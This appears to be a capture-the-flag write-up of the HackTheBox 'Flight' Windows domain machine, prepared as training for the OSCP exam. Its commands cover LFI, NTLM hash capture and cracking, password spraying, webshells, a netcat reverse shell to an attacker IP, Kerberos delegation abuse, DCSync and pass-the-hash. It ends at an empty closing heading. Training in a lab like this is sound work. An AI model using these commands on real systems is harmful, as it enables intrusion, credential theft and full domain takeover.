# OSCP Prep #12
HTB Write-Up Flight

# 1\. Target Overview

**Machine Name:** Flight  
**Platform:** HackTheBox  
**Operating System:** Windows  
**Target IP:**  
**Objective:** Compromise the target system and obtain administrative access in an Active Directory environment.

This machine presented a realistic Windows Active Directory environment with multiple attack vectors spanning web exploitation, SMB abuse, credential harvesting, and domain escalation.

Out of all the machines I’ve worked through so far, Flight stands out as one of the most instructive and well-designed. It ties together several critical real-world attack techniques—such as LFI/RFI, NTLM capture, writable SMB shares, web-based RCE, and Kerberos delegation abuse—into a single, cohesive attack path. The overall flow felt very realistic and reinforced the importance of thinking holistically rather than focusing on just one vector at a time.

### Tools Used

*   **Nmap** – Identified open ports, services, and attack surface
    
*   **NetExec (nxc)** – LDAP/SMB enumeration and BloodHound data collection
    
*   **BloodHound** – Analyzed Active Directory relationships and privilege paths
    

*   **smbclient** – Enumerated shares and interacted with SMB file systems
    
*   **Responder** – Captured NTLMv2 authentication hashes via forced authentication
    
*   **NTLMTheft** – Generated malicious files to trigger SMB authentication
    
*   **John the Ripper** – Cracked captured NTLMv2 hashes offline
    

*   **cURL** – Interacted with web endpoints and inspected server responses
    
*   **PHP Webshell** – Achieved initial remote code execution via writable web directory
    
*   **ASPX Webshell** – Gained code execution on IIS development site
    

*   **Netcat (nc)** – Established reverse shells
    
*   **rlwrap** – Improved shell usability and interaction
    

*   **RunasCs** – Executed commands as another user (c.bum)
    
*   **Chisel** – Performed port forwarding to access internal-only services
    

*   **Rubeus** – Performed TGT delegation attack to obtain Kerberos tickets
    
*   **Impacket (secretsdump.py)** – Performed DCSync to extract domain hashes
    
*   **Impacket (psexec.py)** – Achieved remote command execution as Administrator
    

*   **Python HTTP Server** – Hosted payloads (Rubeus, Chisel, RunasCs)
    
*   **wget / PowerShell WebClient** – Downloaded payloads onto the target
    

# 2\. Enumeration

### **Initial Service Discovery**

I began with an Nmap scan to identify open ports, exposed services, and domain-related details. The scan revealed a standard Active Directory host along with an HTTP service.

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/96790b1e-029c-4883-88ca-df6f658655fd.png align="center")

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/605170bf-d551-4b9e-b624-bcc0a3e18708.png align="center")

Key services identified:

*   **53 (DNS)**
    
*   **80 (HTTP)** – Apache httpd 2.4.52 on Win64 with PHP
    
*   **88 (Kerberos)**
    
*   **135 (MSRPC)**
    
*   **139 (NetBIOS)**
    
*   **389 (LDAP)**
    
*   **445 (SMB)**
    
*   **464 (kpasswd)**
    
*   **593 (RPC over HTTP)**
    
*   **3268 (Global Catalog LDAP)**
    
*   Additional high RPC ports typical of Windows
    

The scan also exposed two important details:

*   **Domain:** `flight.htb`
    
*   **Hostname:** `g0`
    

Since this is an AD target, I followed **step 1 of my checklist** and added the discovered naming information to my hosts file so the target could be resolved properly during later enumeration and attack steps.

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/4be49139-ae47-4940-b374-40cf86316c38.png align="center")

* * *

**SMB Enumeration**

Following **step 2 of my AD checklist**, I attempted anonymous SMB enumeration first.

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/d1924174-1c3e-4fa5-8a3c-dfe47c1fcc87.png align="center")

I tested null and guest-style access, but both paths failed:

*   Anonymous share enumeration returned STATUS\_ACCESS\_DENIED
    
*   Guest access returned STATUS\_ACCOUNT\_DISABLED
    

That told me SMB was not going to give me an easy foothold or anonymous file access.

* * *

### **RPC Enumeration**

Following **step 3 of my AD checklist**, I attempted anonymous RPC enumeration with `rpcclient`.

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/253d3ef6-1174-48cb-90d8-3bad37455279.png align="center")

That also failed:

*   `enumdomusers` returned **NT\_STATUS\_ACCESS\_DENIED**
    

So anonymous RPC user enumeration was blocked as well.

* * *

**LDAP Enumeration**

Following **step 4 of my AD checklist**, I attempted anonymous LDAP enumeration.

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/71801050-15cb-44a1-b5e8-bf6fa9db4b81.png align="center")

That failed too:

*   LDAP returned an error indicating a **successful bind was required** before the operation could be completed
    

This confirmed anonymous LDAP enumeration was disabled.

* * *

### Web Enumeration

At this point, the early anonymous AD paths had been shut down:

1.  Hosts file updated with the discovered domain/FQDN
    
2.  Anonymous SMB enumeration failed
    
3.  Anonymous RPC enumeration failed
    
4.  Anonymous LDAP enumeration failed
    

Because of that, I decided to shift focus to the web server on port 80.

Upon visiting [`http://flight.htb`](http://flight.htb), I was presented with a **flight booking website** (“g0 Aviation”).

Observations:

*   The site appeared **static**
    
*   Navigation links did not trigger meaningful backend interaction
    
*   No visible input fields or dynamic functionality
    
*   No immediate injection points or authentication features
    

At this point, the web app itself did not provide a direct attack path.

* * *

### **Virtual Host Enumeration**

Because the main site lacked functionality, I expanded the attack surface by fuzzing for virtual hosts.

Command used:

```plaintext
ffuf -u http://<target_ip> -H "Host: FUZZ.flight.htb" -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt -fw 1546
```

This resulted in the discovery of a new subdomain:

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/cf02fff5-0126-41be-86a1-6e643429cbc2.png align="center")

*   **school.flight.htb**
    

This is a critical finding because:

*   It indicates **multiple web apps hosted on the same server**
    
*   Hidden vhosts often contain **admin panels, dev apps, or vulnerable functionality**
    
*   This gives us a **new attack surface after AD enumeration failed**
    

With this discovery, I shifted my focus to **school.flight.htb** as the next target for deeper enumeration, since hidden subdomains frequently expose functionality that is not present on the main site.

### **Web Enumeration (school.flight.htb)**

After discovering the `school.flight.htb` subdomain, I followed up by adding it to my hosts file:

I then navigated to the site in my browser while simultaneously running directory and vhost fuzzing in the background to maximize coverage.

Upon visiting [`http://school.flight.htb`](http://school.flight.htb), I was presented with what appears to be a development-stage aviation school website.

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/76628095-0f2c-437f-8820-5e4b5501eaa6.png align="center")

Initial observations:

*   The site is more dynamic than the main domain
    
*   Contains navigation links such as **Home, About Us, Blog**
    

When clicking **Home**, I was redirected to:

```plaintext
index.php?view=home.html
```

This immediately stood out to me.

* * *

### **Parameter Analysis**

From the URL structure, I observed:

*   `index.php` is acting as the **main handler script**
    
*   `view` is a **GET parameter**
    
*   `home.html` is being passed as a **value to that parameter**
    

This suggests that the application is dynamically loading content based on user-supplied input.

* * *

### **LFI Potential Identification**

At this point, I suspected a potential **Local File Inclusion (LFI)** vulnerability.

The reasoning was:

*   The application appears to take user input (`view`) and use it to determine which file to load
    
*   The value being passed (`home.html`) looks like a file path
    
*   There was no visible restriction or sanitization in the URL itself
    

This pattern commonly maps to backend logic similar to:

```plaintext
include($_GET['view']);
```

If this is the case, then I may be able to manipulate the `view` parameter to load arbitrary files on the system.

# 3\. Exploitation

I proceeded to test whether the application was vulnerable to LFI.

To do this, I attempted to load a known file that is present on most Windows systems:

```plaintext
index.php?view=/Windows/win.ini
```

* * *

### **LFI Validation**

The response returned the contents of the `win.ini` file directly in the browser.

This confirmed that:

*   The application is using user-supplied input to load files
    
*   There is no proper sanitization or restriction in place
    
*   The `view` parameter is vulnerable to **Local File Inclusion (LFI)**
    

### **LFI → RFI Testing**

After confirming LFI, I moved to the next logical step: **checking for Remote File Inclusion (RFI)**.

Anytime I find LFI, I want to test RFI because:

*   LFI → file read
    
*   RFI → potential **remote code execution (RCE)**
    

If the application is using something like `include()` or `require()` with user input, RFI can often lead directly to a shell.

* * *

### **RFI Test Setup**

To test this, I created a simple PHP file on my attack machine:

```plaintext
<?php echo "neo test"; ?>
```

Then I hosted it using a Python web server:

```plaintext
python3 -m http.server 80
```

I modified the vulnerable parameter to point to my hosted file:

```plaintext
index.php?view=http://<attacker_ip>/test.txt
```

* * *

### **Observed Behavior**

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/49c92546-d043-4790-b493-82e56ef243de.png align="center")

Two key things happened:

1.  **Callback confirmed**
    
    *   The target made a request to my server
        
    *   This proves the application is fetching remote content
        
2.  **PHP did NOT execute**
    
    *   The response showed the **raw PHP source code**
        
    *   `<?php echo "neo test"; ?>` was not interpreted
        

* * *

### **What This Tells Me**

This is the critical distinction:

*   The app is likely using something like: `file_get_contents()` → reads file as text → **no execution**
    

So: **RFI behavior exists (remote fetch works) but** **No direct RCE via RFI**

Even though RCE isn’t immediate, this is still valuable I can:

*   Pull remote content into the app
    
*   Confirm outbound connectivity
    
*   Potentially chain this with other techniques
    
*   But I **cannot execute PHP directly via RFI**
    

### **LFI → SMB Abuse (Credential Capture)**

After confirming that RFI would not lead to code execution, I pivoted to another common LFI technique: **forcing the application to authenticate over SMB**.

Even though HTTP-based RFI did not execute code, LFI can still be abused to trigger **outbound authentication attempts**, which can be captured.

* * *

### **Attack Setup**

I started a listener using Responder:

```plaintext
sudo responder -I tun0
```

The goal here is simple:

*   Trick the target into requesting a resource over SMB
    
*   Capture the **NetNTLMv2 challenge/response** when it tries to authenticate
    

* * *

### **Triggering the Authentication**

Instead of using HTTP, I leveraged the LFI parameter to point to my attacker machine:

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/385c21a4-1171-4b2f-bab3-4adea07f6efe.png align="center")

This forces the Windows server to:

*   Reach out over SMB
    
*   Attempt authentication using its current user context
    

* * *

### **Hash Capture**

This worked immediately.

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/be072915-de48-4f04-8e8c-a660800ca0e3.png align="center")

I captured a **NetNTLMv2 challenge/response** for:

*   **User:** `svc_apache`
    
*   **Domain:** `flight.htb`
    

This is a **service account**, which is exactly what you want:

*   Often reused
    
*   Often has elevated or useful permissions
    
*   Sometimes poorly secured
    

* * *

### **Hash Cracking**

Next, I attempted to crack the captured NetNTLMv2 hash using John:

```plaintext
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
```

The attack was successful:

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/b2f881e7-25ee-42da-8e52-cb90ccbedef3.png align="center")

*   Password cracked for **svc\_apache**
    
*   I now have valid **domain credentials**
    

### **User Enumeration & Password Spraying**

After successfully cracking the NetNTLMv2 hash, I obtained valid credentials for the service account:

*   **User:** `svc_apache`
    
*   **Password:** `S@Ss!K0x+13`
    

* * *

### **Domain User Enumeration**

With valid credentials, I returned to my AD checklist and proceeded with proper authenticated enumeration.

Using `nxc`, I enumerated domain users:

```plaintext
nxc smb <target_ip> -u svc_apache -p 'S@Ss!K0x+13' --users
```

This provided a list of domain users.

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/5a588170-ef15-4d91-8bfd-0f9ad199d1ce.png align="center")

Now I had a solid **user list to work with**, which is critical for the next phase.

* * *

### **Password Spraying (Credential Reuse Check)**

Following best practice, I immediately tested for **password reuse**.

This is especially important with:

*   **Service accounts** → often reused or poorly managed
    
*   Internal environments → users commonly reuse passwords
    

I performed a password spray using the discovered credentials:

```plaintext
nxc smb <target_ip> -u user.txt -p 'S@Ss!K0x+13' --continue-on-success
```

* * *

### **Result – Additional Compromise**

The spray revealed a successful login:

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/35cb0a6f-a0b3-462d-963f-c8f7d98dde53.png align="center")

*   **User:** `S.Moon`
    
*   **Password:** `S@Ss!K0x+13`
    

This confirms **password reuse within the domain**.

### **WinRM Access Check**

After obtaining credentials for both:

*   `svc_apache`
    
*   `S.Moon`
    

The next logical step was to check for **remote access via WinRM**, as this is often a quick path to an interactive shell on Windows targets.

I attempted authentication using `evil-winrm` for both users:

```plaintext
evil-winrm -i <target_ip> -u S.Moon -p 'S@Ss!K0x+13'
evil-winrm -i <target_ip> -u svc_apache -p 'S@Ss!K0x+13'
```

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/baf23936-adbe-4e81-82d0-ca108a61cf93.png align="center")

Both attempts failed with:

*   **WinRM::WinRMAuthorizationError**
    

This indicates:

*   Neither user has WinRM access rights
    

WinRM access is typically restricted to:

*   Administrators
    
*   Remote Management Users group
    

Neither `svc_apache` nor `S.Moon` are members of those groups.

### **Next Step – BloodHound Enumeration**

Since:

*   WinRM is not accessible
    

The next move is to enumerate the domain using **BloodHound**.

Normally, I would use **SharpHound** (on-host collector), but:

*   I do not have a shell on the target yet
    

So instead, I used my backup approach:

*   **NXC Bloodhound ce (external collector)**
    

This allows me to:

*   Enumerate AD remotely using valid credentials
    
*   Gather data on:
    
    *   Group memberships
        
    *   Permissions
        
    *   Attack paths
        
    *   Privilege escalation opportunities
        

### **Domain Enumeration**

I moved to broader Active Directory enumeration with BloodHound. I used **nxc bloodhound-ce** as my external collector. The collection succeeded, and I imported the results into BloodHound for analysis.

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/372e5d06-8c0a-40b3-92ad-0651a90593cf.png align="center")

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/d22ee9ab-4233-4c46-82bb-7995b10e361d.png align="center")

The graph showed that although I had compromised two users, neither had any useful privileged group memberships, outbound object control, or obvious ACL-based escalation path.

### **Kerberos Attacks**

After BloodHound did not reveal anything useful, I tested two common Kerberos attack paths:

*   **AS-REP roasting**
    
    ![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/da7fe1e3-9dd9-4a78-a7d4-741fe3e76ec7.png align="center")
    
*   **Kerberoasting**
    
    ![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/96ba173e-e5dc-4f6a-a688-bc5a434f7597.png align="center")
    

Both failed.

There were no roastable users with pre-auth disabled, and no useful service principal names exposed for ticket extraction. That ruled out the most common credential-based Kerberos escalation routes.

At this stage:

*   I had confirmed and exploited LFI
    
*   Captured and cracked a NetNTLMv2 challenge/response
    
*   Compromised `svc_apache`
    
*   Password sprayed and compromised `S.Moon`
    
*   Confirmed neither user had WinRM access
    
*   Ruled out useful BloodHound privilege paths
    
*   Ruled out AS-REP roasting and Kerberoasting
    

With those paths exhausted, my next move was to pivot into **authenticated SMB enumeration** and look for useful files, shares, credentials, or internal data.

### **Authenticated SMB Abuse – NTLM Theft via Writable Share**

While performing authenticated SMB enumeration, I discovered that one of the compromised users had **write access to a network share**.

This is a critical finding.

Anytime I have write access to a share, I immediately consider **NTLM credential theft attacks**, because I can plant files that will cause legitimate users to **authenticate back to my machine**.

* * *

### **Attack Concept**

The idea is simple:

*   Drop a file on the share
    
*   Wait for a user to interact with it (browse/open/render)
    
*   Their system attempts to fetch a remote resource
    
*   This triggers **SMB authentication to my attacker machine**
    
*   I capture the **NetNTLMv2 challenge/response**
    

This type of attack is commonly referred to as:

**SMB/NTLM coercion via file planting**  
(or more practically: **NTLM theft via writable share**)

* * *

### **ntlm\_theft**

To streamline this, I used the `ntlm_theft` tool, which generates multiple file types designed to trigger authentication:

```plaintext
sudo python3 ntlm_theft.py -g all -s <attacker_ip> -f neo
```

This created a variety of payload files such as:

*   `.lnk`
    
*   `.url`
    
*   `.scf`
    
*   and others
    

Each of these is crafted to force a remote connection when accessed.

* * *

### **Uploading Payloads**

Using SMB access, I uploaded these files to the writable share:

```plaintext
smbclient //<target_ip>/shared -U S.Moon
```

Then:

```plaintext
prompt false
mput *
```

Some files were blocked due to permissions, but several successfully uploaded, which is all that’s needed.

* * *

### **Capturing Credentials**

With the payloads in place, I restarted Responder:

```plaintext
sudo responder -I tun0
```

Shortly after, I received a callback:

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/50214b9b-8604-427b-8a13-15b8255e5dc1.png align="center")

*   **User:** `c.bum`
    

* * *

### **Credential Recovery**

As before, I took the captured hash and cracked it offline using John:

```plaintext
john hash2.txt --wordlist=/usr/share/wordlists/rockyou.txt
```

Result:

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/435dd482-d714-474c-a779-678262f47b4b.png align="center")

*   Successfully recovered the password for **c.bum**
    

### **Remote Code Execution via Writable Web Share**

After compromising the `c.bum` user, I continued post-authentication enumeration.

* * *

### **Privilege & Access Review**

*   Password spraying with `c.bum` → no reuse
    
*   BloodHound analysis → no direct escalation paths
    

However, I identified an important detail:

*   `c.bum` is a member of **Web Devs**
    

* * *

### **SMB Share Permissions**

I then checked SMB access and discovered:

*   Write access to a share named: `web`
    

This is a major finding.

Upon inspection, this share corresponded directly to the **web root directory**, containing files for both:

*   `flight.htb`
    
*   `school.flight.htb`
    

* * *

### **Attack Opportunity**

At this point, the path was clear:

*   The application uses **PHP**
    
*   I have **write access to the web directory**
    

This means I can upload a **PHP webshell and achieve RCE**

* * *

### **Webshell Upload**

Using SMB, I uploaded a PHP webshell into the web directory:

```plaintext
smbclient //<target_ip>/web -U c.bum
```

Then placed the shell inside the `styles` directory:

```plaintext
put wtshelly.php
```

* * *

### **RCE Validation**

I accessed the webshell via the browser:

```plaintext
http://school.flight.htb/styles/wtshelly.php?cmd=whoami
```

The response returned:

*   `flight\svc_apache`
    

This confirmed:

*   The webserver executes PHP ✔️
    
*   I have **remote code execution** ✔️
    

* * *

### **Upgrading to a Reverse Shell**

To get a proper interactive shell, I:

1.  Uploaded `nc.exe` to the same directory
    
2.  Started a listener on my machine:
    

```plaintext
rlwrap nc -nlvp 7777
```

3.  Triggered the reverse shell using the webshell:
    

```plaintext
curl http://school.flight.htb/styles/wtshelly.php \
--data-urlencode "cmd=nc.exe -e powershell.exe <attacker_ip> 7777"
```

* * *

### **Shell Access Achieved**

I received a reverse shell:

```plaintext
PS C:\xampp\htdocs\school.flight.htb\styles> whoami
flight\svc_apache
```

# **4\. Privilege Escalation**

### **Initial Enumeration (Post-Exploitation)**

After obtaining a shell as `svc_apache`, I began standard Windows privilege escalation enumeration, starting with quick wins.

*   Checked for **autologon credentials** → none found
    
    ![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/d2446f9e-e27c-40b3-a961-57fddc9ad2e8.png align="center")
    
*   Checked **PowerShell history** → no useful data
    
    ![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/4318fed7-93ae-4b8c-8f01-1edb7f519b35.png align="center")
    

* * *

### **Web Directory Enumeration**

I navigated to the IIS web directory:

```plaintext
cd C:\inetpub
```

I discovered a directory:

```plaintext
C:\inetpub\development
```

Contents:

*   Static web files (`index.html`, `contact.html`, etc.)
    

Next, I checked permissions:

```plaintext
icacls development
```

Key finding:

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/864b3cc0-e496-4a54-93db-a91414c07757.png align="center")

*   `flight\C.Bum:(OI)(CI)(W)`
    

This confirms:

*   The **c.bum user has write access to this development web directory**
    

This is important because:

*   I already control credentials for `c.bum`
    
*   This directory is tied to a web service
    

* * *

### **Service & Port Enumeration**

I then enumerated listening services:

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/bc301ed7-aa59-44d3-948a-1b63c2a341a4.png align="center")

```plaintext
netstat -ano | findstr LISTENING
```

Key observation:

*   Port **8000** is listening on:
    
    *   `127.0.0.1`
        
    *   `0.0.0.0`
        

This strongly suggests:

*   A **locally hosted web application**
    
*   Likely the **development site** I just discovered
    

* * *

### **Attack Surface Identification**

At this point, I identified a clear opportunity:

*   Internal web app (port 8000)
    
*   Writable web directory (via `c.bum`)
    
*   Potential different execution context
    

This creates a classic scenario:

> **Internal service + writable content + different user context = privilege escalation vector**

* * *

### **Access Constraints**

However, two limitations exist:

1.  The service is **not externally accessible**
    
2.  My current shell is:
    
    *   `svc_apache` (not `c.bum`)
        

Windows does not allow easy user switching like Linux (`su`), so I need to work around this.

To proceed, I identified two required tools:

#### **1\. Chisel (Port Forwarding)**

*   Used to expose:
    
    *   `localhost:8000` → attacker machine
        
*   Allows me to **interact with the internal web app**
    

#### **2\. RunasCs (User Execution)**

*   Allows execution of commands as:
    
    *   `c.bum`
        
*   This is necessary because:
    
    *   `c.bum` has **write access to the web directory**
        
    *   The service may run under a **different context**
        

# **4\. Privilege Escalation**

### **Accessing Internal Services as c.bum**

At this point, I identified that port **8000** was running a web service bound to localhost. Since my shell was running as `svc_apache`, I needed a way to:

1.  Access the internal service
    
2.  Operate as `c.bum` (who has write access to the web directory)
    

To achieve this, I transferred two tools to the target:

*   **RunasCs** → execute commands as another user
    
*   **Chisel** → port forwarding
    

* * *

### **Switching Context to c.bum**

Using `RunasCs`, I spawned a reverse shell as `c.bum`:

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/b5098a23-c73d-429d-86e8-38dec9d33305.png align="center")

```plaintext
.\r.exe c.bum <password> -r <attacker_ip>:9001 powershell.exe
```

Listener:

```plaintext
rlwrap nc -nlvp 9001
```

Confirmed:

```plaintext
whoami
flight\c.bum
```

* * *

### **Forwarding Internal Port 8000**

Next, I used Chisel to expose the internal web service:

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/cbc52597-4c72-4a93-9080-58fff78be167.png align="center")

```plaintext
.\chisel.exe client <attacker_ip>:8001 R:8000:127.0.0.1:8000
```

Now I could access the service locally:

```plaintext
http://127.0.0.1:8000
```

* * *

### **Identifying the Development Site**

The site loaded successfully and appeared to be a development flight booking application.

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/e6c3571f-35d4-43a1-b2ee-3918d9bada89.png align="center")

Based on earlier enumeration:

*   This corresponds to:
    
    ```plaintext
    C:\inetpub\development
    ```
    

* * *

### **Verifying Write Access**

To confirm control, I created a test file:

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/9db5b69a-6d1a-49a3-8467-7aeb09c92f5d.png align="center")

```plaintext
echo "test" > neo.txt
```

Then accessed:

```plaintext
http://127.0.0.1:8000/neo.txt
```

✔ File loaded successfully → **write access confirmed**

* * *

### **Identifying Backend Technology**

To determine the server-side language, I used:

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/e5507c4d-004e-4c78-ad78-6f6a551680ea.png align="center")

```plaintext
curl -I http://127.0.0.1:8000/index.html
```

Key result:

*   `X-Powered-By:` [`ASP.NET`](http://ASP.NET)
    

This confirms:

*   The application uses [**ASP.NET**](http://ASP.NET) **/ IIS**
    
*   PHP payloads will **not work here**
    

* * *

### **ASPX Webshell Upload**

With confirmed write access and [ASP.NET](http://ASP.NET) backend, I uploaded an **ASPX webshell**.

Steps:

1.  Upload shell via SMB
    
2.  Copy into web root:
    

```plaintext
cp \xampp\htdocs\shell.aspx shell.aspx
```

* * *

### **RCE Confirmation**

I navigated to:

```plaintext
http://127.0.0.1:8000/shell.aspx
```

Executed:

```plaintext
whoami
```

Result:

```plaintext
iis apppool\defaultapppool
```

* * *

### **Abusing IIS AppPool Identity**

After achieving RCE via the ASPX webshell, I began enumerating the execution context:

```plaintext
whoami
```

Result:

```plaintext
iis apppool\defaultapppool
```

* * *

### **Understanding the Context**

At first glance, this appears to be a low-privileged service account. However, IIS AppPool identities can be misleading.

To better understand its privileges, I attempted to coerce authentication:

```plaintext
\\10.10.14.123\whatever
```

This triggered an outbound authentication request captured via Responder.

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/13c1c1f4-2c36-4051-ad29-51e504004392.png align="center")

* * *

### **Captured NTLM Authentication**

Responder captured:

*   Username: `flight\G0$`
    

This is a critical finding.

The `$` suffix indicates:

*   This is a **machine account**
    
*   Specifically, the **domain controller (G0)**
    

* * *

### **Key Insight**

This tells me:

*   The IIS process is running in a context capable of authenticating as the **machine account**
    
*   This is far more powerful than a normal service account
    

However—this is where precision matters:

This does **NOT automatically mean SYSTEM**

It means the process has access to **machine-level credentials/tokens**

* * *

### **Attack Direction: Kerberos Delegation Abuse**

Since I can coerce authentication as the machine account, I can potentially:

*   Request Kerberos tickets
    
*   Abuse delegation mechanisms
    

This leads to a known attack path:

> **Use Rubeus to request and leverage machine account tickets → perform DCSync**

### **Abusing Machine Account via IIS AppPool**

After confirming that the IIS AppPool context could authenticate as the machine account (`G0$`), I moved to abuse this using Kerberos delegation.

To do this, I transferred **Rubeus** to the target:

```plaintext
wget http://<attacker_ip>/rubeus.exe -outfile rubeus.exe
```

* * *

### **Requesting Delegation TGT**

I used Rubeus to perform delegation abuse:

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/3c447a1a-ccea-45cb-9172-04abe170bdbf.png align="center")

```plaintext
.\rubeus.exe tgtdeleg /nowrap
```

This resulted in:

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/29567f03-f53e-4b86-b6c6-eadfe9c174f6.png align="center")

*   A **delegated Kerberos TGT**
    
*   Output in **base64 format**
    

* * *

### **Extracting and Preparing the Ticket**

I copied the base64 ticket and converted it:

```plaintext
base64 -d ticket > ticket.kirbi
```

Then converted it into a format usable by Impacket:

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/d1228bfa-bd86-4823-90b5-f0f86a955561.png align="center")

```plaintext
impacket-ticketConverter ticket.kirbi ticket.ccache
```

Exported the ticket:

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/ec83cd42-495f-46db-afe3-9598eb4cdd78.png align="center")

```plaintext
export KRB5CCNAME=ticket.ccache
```

This allows all Kerberos-aware tools to use the ticket

* * *

### **DCSync via Kerberos Ticket**

With a valid delegated ticket, I performed a DCSync:

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/087b815a-5e32-452a-ab4e-a1471c93501d.png align="center")

```plaintext
impacket-secretsdump -k -no-pass g0.flight.htb
```

Result:

*   Dumped NTDS secrets
    
*   Retrieved hashes for:
    
    *   `Administrator`
        
    *   `krbtgt`
        
    *   other domain users
        

* * *

### **Domain Administrator Compromise**

From the output, I extracted the **Administrator NTLM hash**:

```plaintext
Administrator:...:<NTLM_HASH>
```

Then used Pass-the-Hash:

```plaintext
impacket-psexec administrator@10.129.228.120 -hashes :<NTLM_HASH>
```

* * *

### **Final Access**

Shell obtained:

![](https://cdn.hashnode.com/uploads/covers/68eab3ed7661b396360de06f/8f294f4e-e046-4994-aad8-a334cb072040.png align="center")

This completes full domain compromise:

*   ✔ Initial foothold via web
    
*   ✔ Credential harvesting via LFI + NTLM capture
    
*   ✔ Lateral movement via SMB + password reuse
    
*   ✔ RCE via writable web directory
    
*   ✔ Machine account abuse via IIS
    
*   ✔ Kerberos delegation → DCSync
    
*   ✔ Domain Admin → SYSTEM
    

* * *

# **5\. Lessons Learned**

### **1.LFI on Windows Has Predictable High-Value Targets**

When exploiting LFI on Windows systems, there are a few reliable files to check immediately:

*   C:\\Windows\\win.ini → quick validation of file read
    
*   C:\\Windows\\System32\\drivers\\etc\\hosts → reveals internal hostnames
    

These are consistent, low-effort checks that provide immediate value.

### **2\. Always Test LFI → RFI Immediately**

After confirming LFI, the next step is to test for Remote File Inclusion (RFI).

*   LFI = reading local files
    
*   RFI = including remote files
    

Important distinction:

**Being able to include a file does not guarantee code execution.**

If the backend uses functions like file\_get\_contents, the result will be:

File contents only

No execution of embedded code

### **3\. RFI + SMB = Credential Capture**

RFI becomes significantly more powerful when SMB is involved.

By pointing the target to an attacker-controlled host:

*   The system attempts authentication over SMB
    
*   This allows capture of **NetNTLMv2 challenge/response**
    

This is a reliable method to convert file inclusion into credentials.

### 4\. Writable SMB Shares Enable NTLM Theft

Writable SMB shares are not just storage—they are an attack vector.

With write access, I was able to:

*   Drop crafted files (.url, .lnk, etc.)
    
*   Trigger authentication when accessed by other users
    
*   Capture NTLM credentials via Responder
    

This technique is commonly referred to as:

**NTLM coercion / NTLM theft via file-based triggers**

### **5\. File Write on Web Servers = Likely RCE**

A key mindset shift:

*   Writing to random shares → limited value
    
*   Writing to a web root directory → potential RCE
    

Once I identified:

*   Write access to the web directory
    
*   A dynamic backend
    

The path was clear:

Upload webshell → execute via browser → gain code execution

### 6\. A Shell Is More Valuable Than Credentials Alone

Compromising users is not the end goal.

To make real progress, you need:

*   A local shell on the target
    
*   Ability to enumerate:
    
*   Files
    
*   Services
    
*   Permissions
    
*   Network activity
    

**Real control begins once you are operating locally.**

### 7\. Internal Services Matter More Than External Ones

External scans do not reveal everything.

Using:

netstat -ano

I identified:

Services bound to localhost (e.g., port 8000)

Internal-only services are often:

Poorly secured

Meant for development

High-value escalation paths

### 8\. Always Re-Enumerate Web Directories Locally

Even if web enumeration was done earlier, it must be repeated after gaining access.

Key directories:

C:\\inetpub\\ → IIS default

C:\\xampp\\htdocs\\ → XAMPP

**These are the Windows equivalents of /var/www**

### 9\. Chisel Is Essential Without SSH

Windows environments often lack SSH.

To access internal services:

Use Chisel for port forwarding

Expose localhost services to your attacker machine

This is critical for interacting with internal-only applications.

### 10\. Identifying Backend Technology Is Critical

Using:

curl -I http://target

I identified:

X-Powered-By: ASP.NET

**This determines:**

What payloads will work

What type of webshell to use

In this case:

PHP payloads would fail

ASPX webshells were required

### 11\. SMB Is a Reliable File Transfer Method

With write access:

SMB can be used to:

Upload tools

Transfer binaries

Place webshells directly

Simple, stable, and often the easiest option.

### 12\. IIS AppPool Identity Behavior

Important clarification:

IIS APPPOOL\\DefaultAppPool is not SYSTEM

However, it can authenticate as the machine account over the network

This is why authentication appeared as:

G0$

**This behavior enables advanced attacks.**

### 13\. Machine Accounts Can Be Abused for Kerberos Attacks

Once operating in a context that can act as a machine account:

Kerberos delegation can be abused

Tools like Rubeus can request tickets

Result:

.kirbi ticket obtained

Can be reused for authentication

### 14\. Kerberos Ticket Reuse (Pass-the-Ticket)

Workflow learned:

Extract ticket (base64 → .kirbi)

Convert to .ccache

Export:

export KRB5CCNAME=ticket.ccache

Use with Kerberos-enabled tools

**This allows authentication without needing credentials**

### Final Reflection

